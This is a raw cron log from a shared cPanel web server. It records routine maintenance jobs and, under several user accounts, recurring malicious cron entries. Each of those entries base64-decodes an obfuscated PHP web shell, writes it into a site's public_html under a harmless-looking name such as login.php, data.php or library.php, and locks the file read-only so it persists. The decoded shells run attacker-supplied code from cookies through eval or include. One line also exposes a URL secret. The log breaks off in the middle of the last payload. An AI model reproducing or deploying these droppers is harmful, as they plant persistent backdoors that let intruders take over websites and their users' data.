Mar  2 15:08:01 medusa CROND[32064]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:08:01 medusa CROND[32066]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 15:08:01 medusa CROND[32065]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 15:08:01 medusa CROND[32074]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 15:08:01 medusa CROND[32072]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:08:01 medusa CROND[32076]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 15:08:01 medusa CROND[32084]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 15:09:01 medusa CROND[19963]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 15:09:01 medusa CROND[19964]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 15:09:01 medusa CROND[19965]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 15:09:01 medusa CROND[19967]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 15:09:01 medusa CROND[19970]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 15:09:01 medusa CROND[19968]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Mar  2 15:09:01 medusa CROND[19971]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:09:01 medusa CROND[19969]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 15:09:01 medusa CROND[19973]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:09:01 medusa CROND[19974]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 15:09:01 medusa CROND[19976]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 15:09:01 medusa CROND[19979]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:09:01 medusa CROND[19982]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:10:01 medusa CROND[3440]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  2 15:10:01 medusa CROND[3457]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 15:10:01 medusa CROND[3614]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 15:10:01 medusa CROND[3801]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 15:10:01 medusa CROND[3802]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 15:10:01 medusa CROND[3803]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 15:10:01 medusa CROND[3813]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 15:10:01 medusa CROND[3820]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 15:10:01 medusa CROND[3821]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  2 15:10:01 medusa CROND[3822]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 15:10:01 medusa CROND[3825]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 15:10:01 medusa CROND[3829]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:10:01 medusa CROND[3828]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 15:10:01 medusa CROND[3837]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 15:10:01 medusa CROND[3838]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:10:01 medusa CROND[3843]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  2 15:10:01 medusa CROND[3827]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 15:10:01 medusa CROND[3868]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5Uo